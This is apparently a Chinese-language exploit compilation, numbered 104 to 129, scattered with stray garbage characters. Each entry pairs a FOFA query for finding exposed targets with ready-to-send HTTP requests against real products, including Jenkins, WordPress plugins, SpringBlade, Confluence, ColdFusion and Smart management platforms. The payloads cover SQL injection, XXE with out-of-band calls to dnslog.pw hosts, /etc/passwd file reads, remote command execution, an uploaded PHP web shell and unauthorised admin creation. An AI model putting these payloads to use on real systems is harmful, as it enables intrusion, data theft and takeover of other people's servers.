9 Y# T* {* N/ g9 LContent-Length: 204
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
# W! e, Z4 Q3 o" F# {4 e5 U
3 i2 X+ x  Z, K' ZSAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==
% K3 A+ y. L6 F; v+ P1 @& }/ e
( X( q! v* |1 o% I
6 {/ `4 S2 I/ y其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
/ N3 V) C9 ~9 \) S+ |<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>
, Y" H& C, ~2 H5 Y3 |8 v- Z
* P: _: d& N$ e
$ f1 v/ {3 r1 v; T1 r104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
( g* V5 R' s6 G+ \CVE-2024-0569
+ ]  ?0 F- O& u! F( ]: gFOFA：title="TOTOLINK"
( j" o9 N# e6 gPOST /cgi-bin/cstecgi.cgi HTTP/1.1
Host:192.168.0.1
Content-Length:41
  C( k8 x/ M& V& x; y9 A/ ?  xAccept:application/json,text/javascript，*/*;q=0.01
9 s4 S& I! G) k; xX-Requested-with: XMLHttpRequest
3 z0 V  W+ _+ y8 v$ n" TUser-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
. p. U5 L9 r6 w( l% n  z' f2 |$ V) ?Content-Type: application/x-www-form-urlencoded:charset=UTF-8
6 z9 U. p4 {* j1 l# P- J# POrigin: http://192.168.0.1
Referer: http://192.168.0.1/advance/index.html?time=1671152380564
Accept-Encoding:gzip,deflate
Accept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
Connection:close

{
"topicurl":"getSysStatusCfg",
' z9 u6 i3 _; d; H  }1 N/ j"token":""
}

' z2 w. W/ j  l& X2 j105. SpringBlade v3.2.0 export-user SQL 注入
FOFA：body="https://bladex.vip"
, v) Y# E& R: K. x! L" X. C+ `8 M0 U" qhttp://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1
: }; d8 p( l+ p6 ]" B/ L8 k9 V9 ~. k
106. SpringBlade dict-biz/list SQL 注入
FOFA：body="Saber 将不能正常工作"
8 g( J7 X0 V9 L2 E9 |8 I) \GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
+ c" {. h& ?6 a# M* M0 c0 I- MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
- O% w4 b7 x$ wBlade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
+ W2 ^/ D& m5 J# I6 k4 tAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
2 ]" {0 ^# F4 @5 yConnection: close

5 V/ J, r/ X! ^! C1 J' m
2 v0 X" e6 G- ^( q# R' F: Z" m107. SpringBlade tenant/list SQL 注入
! B" ?7 q1 E! h2 t) C- a9 KFOFA：body="https://bladex.vip"
- k  U' \' T! e4 N- S5 x2 `GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
0 Z" A( {1 l! P" x( a! IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth:替换为自己的
% W* @# A5 E+ D( C/ K  f  [+ s: jConnection: close


) H6 ]' B6 E! f! X! d% M) e2 F108. D-Tale 3.9.0 SSRF
9 {1 f% t4 K7 }' {4 p, z0 XCVE-2024-21642
# {: g1 V  |1 t+ ^; l7 D8 [$ {FOFA："dtale/static/images/favicon.png"
1 z9 h$ L( O/ O6 _# Y% m1 C' y) HGET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
) y) X! Q& [8 F+ c7 j: wHost: your-ip
2 x) u1 W( Z/ pAccept: application/json, text/plain, */*
" o' V- U" d! x# U# uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
  G- ?+ a) a$ c8 Y3 r+ }) b

109. Jenkins CLI 任意文件读取
CVE-2024-23897
FOFA：header="X-Jenkins"
POST /cli?remoting=false HTTP/1.1
; D  e) `7 J9 h; m/ ^2 nHost:
Content-type: application/octet-stream
; X0 _0 |, E% v3 ?+ L+ lSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
7 \  B* I; m; O4 ?Side: upload
' X$ o3 R& \# x' s; xConnection: keep-alive
Content-Length: 163

b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'
" D( U8 F/ Y' k/ s7 e
* Q1 E" ~, {/ C
POST /cli?remoting=false HTTP/1.1
Host:
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
download
& T3 Q# o: O- \( G# ]Content-Type: application/x-www-form-urlencoded
Content-Length: 0
8 h% c( \: u: F6 w5 h# ~7 d

ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  f- p. c' e/ mjava -jar jenkins-cli.jar help
! T  ^  E# {; H) E# ~[COMMAND]
# y% p3 g  u% j& a4 a6 _Lists all the available commands or a detailed description of single command.
% N) r  C; `  p5 S; ? COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)
6 d( Z& q, y# {$ A) `, y

110. Goanywhere MFT 未授权创建管理员
CVE-2024-0204
FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
* V. ~5 R8 R: F# V8 }5 [GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
+ E2 M: ~  P7 r( {( P# YHost: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
* h2 u* @% R* {, rAccept: */*
0 {" m7 p! H, K+ BAccept-Language: en
Accept-Encoding: gzip


111. WordPress Plugin HTML5 Video Player SQL注入
CVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
Host: 192.168.40.130:112
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
+ I. H* M# v( H6 i1 I; c5 U6 `Connection: close
& [6 Q9 r  x. H2 s# zAccept: */*
! Q5 L# T5 n, o# a5 P$ PAccept-Language: en
4 k' _8 y# T& a$ Q! x* ?5 E, sAccept-Encoding: gzip


# J7 M  @& Q& t112. WordPress Plugin NotificationX SQL 注入
CVE-2024-1698
+ U; U% p; {! j1 k5 T; y. UFOFA：body="/wp-content/plugins/notificationx"
$ M% c8 i. A/ q7 \+ gPOST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: {{Hostname}}
6 z+ g' `; s# f  l' X" t$ q* IContent-Type: application/json

5 W- J" Y2 O! e  l* Y9 ~{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}
& U; F6 e+ T/ c; C6 y) p+ y8 k, w

113. WordPress Automatic 插件任意文件下载和SSRF
CVE-2024-27954
FOFA："/wp-content/plugins/wp-automatic"
GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
1 e9 F, S$ s" h9 V* Q, T$ m9 zHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
) {# T+ W0 Z* Z4 i/ I: Q" j/ eConnection: close
Accept: */*
Accept-Language: en
$ O  P/ X/ `, D; C2 ZAccept-Encoding: gzip


114. WordPress MasterStudy LMS插件 SQL注入
FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
- w8 X. g  g, QGET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
Host: your-ip
" o! H5 c3 m4 I( k  _: J  WUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
, d! ^' w& V2 j# z$ P# aAccept-Charset: utf-8
2 L, ~1 i# L- x' v6 s8 vAccept-Encoding: gzip, deflate
Connection: close
) ^0 a! S. s. @" A+ ^( X

; H3 R" f2 W! n115. WordPress Bricks Builder <= 1.9.6 RCE
CVE-2024-25600
FOFA: body="/wp-content/themes/bricks/"
第一步，获取网站的nonce值
* x6 ]$ ?) I# `% hGET / HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
) `8 S! p+ @) L+ A5 W3 M6 WConnection: close
Accept-Encoding: gzip
% A+ K7 O7 ]- A, M: a$ n
6 d4 v8 b; _9 R( o" e& Y; h
第二步替换nonce值，执行命令
1 [$ x' e2 d8 V1 `POST /wp-json/bricks/v1/render_element HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
% W, u' a) B- }  \Connection: close
Content-Length: 356
+ ~1 a# ~1 }- K* CContent-Type: application/json
# a" n& X6 c/ Q. AAccept-Encoding: gzip
0 W" h+ ?. M/ K3 J
. e$ r# ?: s6 J" {. O; l% Z{
"postId": "1",
  "nonce": "第一步获得的值",
* J! K/ ^0 a0 A8 ?+ m  "element": {
    "name": "container",
    "settings": {
- E$ y5 ^7 V( o2 s8 n      "hasLoop": "true",
      "query": {
        "useQueryEditor": true,
        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
        "objectType": "post"
% K9 p9 a3 ?! R0 _      }
# B3 T5 ]2 X7 F5 M0 L    }
  }
}

5 S, L  R4 ], B0 y- U+ X
% r- U9 g  W! M' K4 q116. wordpress js-support-ticket文件上传
' B" Y$ j3 X0 HFOFA：body="wp-content/plugins/js-support-ticket"
POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
$ `: l! D7 W4 p# f9 W. kHost:
Content-Type: multipart/form-data; boundary=--------767099171
User-Agent: Mozilla/5.0
. j. N0 c+ ~" S. U" R5 y
----------767099171
Content-Disposition: form-data; name="action"
configuration_saveconfiguration
  D: y! v5 z1 N3 Y----------767099171
% ^, ?7 w# j0 i; r$ M/ |& z$ D: KContent-Disposition: form-data; name="form_request"
jssupportticket
----------767099171
Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
2 k' `: }! J8 {6 j/ O! |7 e" fContent-Type: image/png
( x" W6 s0 H. ?----------767099171--
8 X  c1 G( N/ d! X* m

6 `: k! b9 b: Y7 H+ S4 [: j$ @& W117. WordPress LayerSlider插件SQL注入
version：7.9.11 – 7.10.0
' O: p  x% M) m8 J5 Y7 v6 p6 XFOFA：body="/wp-content/plugins/LayerSlider/"
  P+ V0 ^3 ^1 M9 r- ^7 G3 h4 sGET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
Host: your-ip
3 Q4 i' {' D8 m6 R5 `6 q- B$ m3 wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) d' N6 z* G" J1 x0 [: @Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1

- ^: d5 S. S) e* V4 l' e6 _
/ ?& D9 o8 f, I3 x& Z% R6 e118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
0 j! `4 V# e. Y' yCVE-2024-0939
; T6 A% }6 U8 W3 lFOFA：title="Smart管理平台"
POST /Tool/uploadfile.php? HTTP/1.1
! K9 j8 E1 Z: |2 _Host: 192.168.40.130:8443
Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
3 H$ j2 U2 o3 v0 hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 Q8 h0 ^' C( r& v5 q; |Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
: [* E0 {! b/ H8 w/ PContent-Length: 405
Origin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
# ?" ^( p/ B* U2 q0 q1 DUpgrade-Insecure-Requests: 1
1 n( m' z% G) K6 h9 X6 a9 NSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
9 q4 ?1 h+ H4 i4 p7 R5 e7 }3 PSec-Fetch-Site: same-origin
7 V) k- x  Y" F1 zSec-Fetch-User: ?1
& r1 I5 p! ~# `  `Te: trailers
! F1 _1 t0 h+ t- jConnection: close
7 M" X7 i2 ?: F% p; h
-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
Content-Type: application/octet-stream
0 L* U' V* l1 D
<?php
system($_POST["passwd"]);
?>
1 o5 L0 M  w" m  `! B/ r0 d% P1 l( G-----------------------------13979701222747646634037182887
2 m. b2 X# L2 Y: \$ E- ?Content-Disposition: form-data; name="txt_path"

$ \1 i# ^$ j  a: m/ j& _/home/src.php
4 w& c+ r1 h6 s2 F-----------------------------13979701222747646634037182887--
" Q( I/ N6 S9 J

" l# G* m7 Y: F' \4 \访问/home/src.php
1 N( M. T0 S7 C0 t% k0 n
119. 北京百绰智能S20后台sysmanageajax.php sql注入
3 S6 e( x/ ~) A6 x( b5 K, }CVE-2024-1254
FOFA：title="Smart管理平台"
5 E& |* N1 [5 U+ f6 F先登录进入系统，默认账号密码为admin/admin
POST /sysmanage/sysmanageajax.php HTTP/1.11
+ N. x7 h' ~0 V1 x4 _Host: x.x.x.x
Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
$ n5 {. F: {, j, N7 pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
3 Z0 l- c# y/ |0 h9 I% V$ I5 i7 BAccept-Encoding: gzip, deflate
( _4 |7 Y' Y$ W9 ]Content-Type: application/x-www-form-urlencoded;
Content-Length: 109
; C1 V$ \1 Q8 {. l" q: }Origin: https://58.18.133.60:8443
Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
3 O  v) h5 {. U" v; ?7 t9 SX-Forwarded-For: 1.1.1.1
1 p9 P3 [% ?7 H. KX-Originating-Ip: 1.1.1.1
X-Remote-Ip: 1.1.1.1
$ F; o' I2 [. F" eX-Remote-Addr: 1.1.1.1
: q  k; ~$ _2 w, R# {Te: trailers
# Y- y4 p9 I$ a9 a, ^9 H3 QConnection: close

0 P  H/ @/ L) dsrc=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456
7 J2 m: G( }  E% ^6 A
' W& I6 a3 |0 ^/ v; A$ _& o
120. 北京百绰智能S40管理平台导入web.php任意文件上传
$ e- N! y+ y' b3 [9 G% }CVE-2024-1253
- r$ @: N  F& k; \FOFA：title="Smart管理平台"
7 x8 N5 j4 e1 M5 A! \3 Q, j# \POST /useratte/web.php? HTTP/1.1
Host: ip:port
8 U% y; A# H& kCookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
/ w, ]* v' E. Y4 ?" L; Z7 H/ NAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 N3 V3 ?& @8 P; TAccept-Encoding: gzip, deflate
/ I% i( i5 r% t; eContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 597
" h4 l: g- h4 Z. ^Origin: https://ip:port
# a! m+ N0 a. @6 D1 V2 G4 O" AReferer: https://ip:port/sysmanage/licence.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
2 H+ {9 I$ q# X  M" }$ l% G5 bTe: trailers
Connection: close
* G+ U; N5 ^( B9 Q, G+ s6 j
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="file_upload"; filename="2.php"
Content-Type: application/octet-stream

<?php phpinfo()?>
$ B) H# u* N& w# B* R9 n" ]-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"
* B$ T4 Y# X1 k) r3 {
1
0 Y% V& l6 G) E$ p4 w$ A-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"

6 z% ~" x& M" ]1 x; T1_radhttp
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="mode"
, Y" k) @/ t* v5 V! G
import
-----------------------------42328904123665875270630079328


; j# V  y/ L' [. P. @文件路径/upload/2.php

' v/ E% ^" R) w, ^8 V2 |( u121. 北京百绰智能S42管理平台userattestation.php任意文件上传
; ?' z+ g, }' |4 dCVE-2024-1918
! M; I8 Y- S, l  l( Z4 \/ hFOFA：title="Smart管理平台"
POST /useratte/userattestation.php HTTP/1.1
Host: 192.168.40.130:8443
Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
* G  v& O( a$ d& |. x- }* w+ xAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 592
Origin: https://192.168.40.130:8443
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
6 [1 l0 l% e, g& N/ {Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
; X, w* l% C, E1 X6 X: q. MConnection: close
  p2 B! K+ O! r. ^' \; ~
2 ^4 v* Y  |$ X- R-----------------------------42328904123665875270630079328
! R! L6 x9 _! R7 T; _Content-Disposition: form-data; name="web_img"; filename="1.php"
Content-Type: application/octet-stream

<?php phpinfo();?>
8 @; Y* p6 Q3 V* m, j' C-----------------------------42328904123665875270630079328
  g. h7 V- k  T1 J5 j3 kContent-Disposition: form-data; name="id_type"
, j4 S$ @& D" f  x1 ^- e
1
3 p1 y. ?, _8 P5 g$ p-----------------------------42328904123665875270630079328
9 d  X$ d- {" `& h# d2 J: cContent-Disposition: form-data; name="1_ck"

1_radhttp
+ F! ~- A/ D/ c' g-----------------------------42328904123665875270630079328
' R' @! u* F! y8 t( @" e! [6 ], {* KContent-Disposition: form-data; name="hidwel"

. S& o: f- N% m+ T" ^set
-----------------------------42328904123665875270630079328

% o! }. m- }1 W" B% U
% }' c6 D4 J: ?& {: r- e3 gboot/web/upload/weblogo/1.php

122. 北京百绰智能s200管理平台/importexport.php sql注入
7 s1 h/ E9 Z& }  l7 HCVE-2024-27718FOFA：title="Smart管理平台"
其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
! E: J8 s7 t6 K9 Y) \/ x1 U1 VGET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
Host: x.x.x.x
& M. I7 r* H8 v) RCookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
+ w# D" C+ T- uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
% w; k8 W/ P2 [+ Z+ MAccept-Encoding: gzip, deflate, br
" y8 r& `5 C! {- c; zUpgrade-Insecure-Requests: 1
9 j5 w9 t2 C/ D# J9 pSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
! C$ A: t9 a& @Sec-Fetch-Site: none
Sec-Fetch-User: ?1
) C. }. F4 l% F* r+ c5 F' aTe: trailers
) j- j' M2 T% ]0 @( d% o2 |Connection: close


1 C6 \# j& D1 \' j6 D123. Atlassian Confluence 模板注入代码执行
FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
/ X+ T$ T; X7 |% I9 ?1 v' APOST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
0 `# X, Y+ s; v3 ?* C3 d3 |, hConnection: close
Content-Type: application/x-www-form-urlencoded
' J3 Z6 w, g6 ]+ h0 T! d
3 I& d5 F9 ?2 C. w0 r4 w  f; ulabel=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))

1 \- K& k: d: ]: z' \* b
124. 湖南建研工程质量检测系统任意文件上传
FOFA：body="/Content/Theme/Standard/webSite/login.css"
POST /Scripts/admintool?type=updatefile HTTP/1.1
& Y9 H6 e+ b3 U5 e3 k0 e7 KHost: 192.168.40.130:8282
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Length: 72
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
, {! E) c% s1 b, v. D1 vAccept-Encoding: gzip, deflate, br
, K" J" [7 i3 G9 d/ d- {, ~Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 W. P* [& z/ t! P( fConnection: close
( `6 ]6 s0 Y. P& h$ u' e5 U5 xContent-Type: application/x-www-form-urlencoded
0 W! y! s, |. I3 N& K
" I, @: U9 ]4 a/ c' [" @5 ?2 ?filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
1 {) ?" r8 K, G. i
6 {6 I5 @* N/ l
http://192.168.40.130:8282/Scripts/abcgcg.aspx

125. ConnectWise ScreenConnect身份验证绕过
CVE-2024-1709
8 ?$ @  M' v! B# s0 d7 h2 v2 `FOFA：icon_hash="-82958153"
https://github.com/watchtowrlabs ... bypass-add-user-poc

5 u1 o# j0 W9 V; `& ]" r: Z, l: a8 P
* Z7 i' C, A# E! ~- A8 d$ k使用方法
6 n: K( v! W1 U7 i: vpython watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!


' a9 q2 y3 u- u5 g) w' @$ d& J创建好用户后直接登录后台，可以执行系统命令。

126. Aiohttp 路径遍历
FOFA：title=="ComfyUI"
9 j3 Q3 v; @, ?3 S0 l. N; x* QGET /static/../../../../../etc/passwd HTTP/1.1
3 m' T) x# y! C& wHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
- P4 E4 Z/ H1 G2 N1 }Accept-Encoding: gzip
8 d. O3 H* x- b  t% u( ]: `5 Y
* A: `3 x1 X) N
127. 广联达Linkworks DataExchange.ashx XXE
FOFA：body="Services/Identification/login.ashx"
; Z8 A, v+ h8 S5 s, L3 c) nPOST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
Host: 192.168.40.130:8888
, S& R% T7 @, l& T+ [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
: I& `8 o/ L+ CContent-Length: 415
4 q& h% V  ~: G3 CAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
: b: I! I7 ~; e( yAccept-Encoding: gzip, deflate
2 ]& ], T- e$ {) T' T& M. J: uAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
& \/ l9 j( W! ^+ ^: SPurpose: prefetch
Sec-Purpose: prefetch;prerender
  o/ K$ a* n$ M) j/ a
' f' I  W! W* K" G" S- v------WebKitFormBoundaryJGgV5l5ta05yAIe0
0 r7 N9 h  l$ w! _' [  y3 SContent-Disposition: form-data;name="SystemName"
; I8 n# f# {; m5 U  \3 E0 @: ?
BIM
------WebKitFormBoundaryJGgV5l5ta05yAIe0
: W* `+ \+ L6 G9 n& D7 fContent-Disposition: form-data;name="Params"
: W8 g1 ~' i: U* \, ^2 K  nContent-Type: text/plain
5 I& _4 L0 b( j+ R& h7 `
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
' ~+ ]& Z8 k  N4 T: S<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
  j+ i1 A# Q  }, `6 k]
>
<test>&t;</test>
# ~! x* X/ G+ b------WebKitFormBoundaryJGgV5l5ta05yAIe0--
+ o" {1 K/ r4 `- k
$ H% Q# H; x# r
( z9 Q! O, q2 x7 z# T: u
) p) s7 M% _% D* u% U, g7 @' p2 Q128. Adobe ColdFusion 反序列化
CVE-2023-38203
Adobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
FOFA：app="Adobe-ColdFusion"
PAYLOAD

129. Adobe ColdFusion 任意文件读取
CVE-2024-20767
/ y# i6 l0 Z+ _% LFOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
第一步，获取uuid
GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
; P/ L3 q4 _% e  u6 \* P9 fAccept: */*
. U! l& n- y0 N; \, }# _, b# EAccept-Encoding: gzip, deflate
Connection: close


9 ^: j6 A! p/ A+ `4 a第二步，读取/etc/passwd文件
GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
Host: x.x.x.x
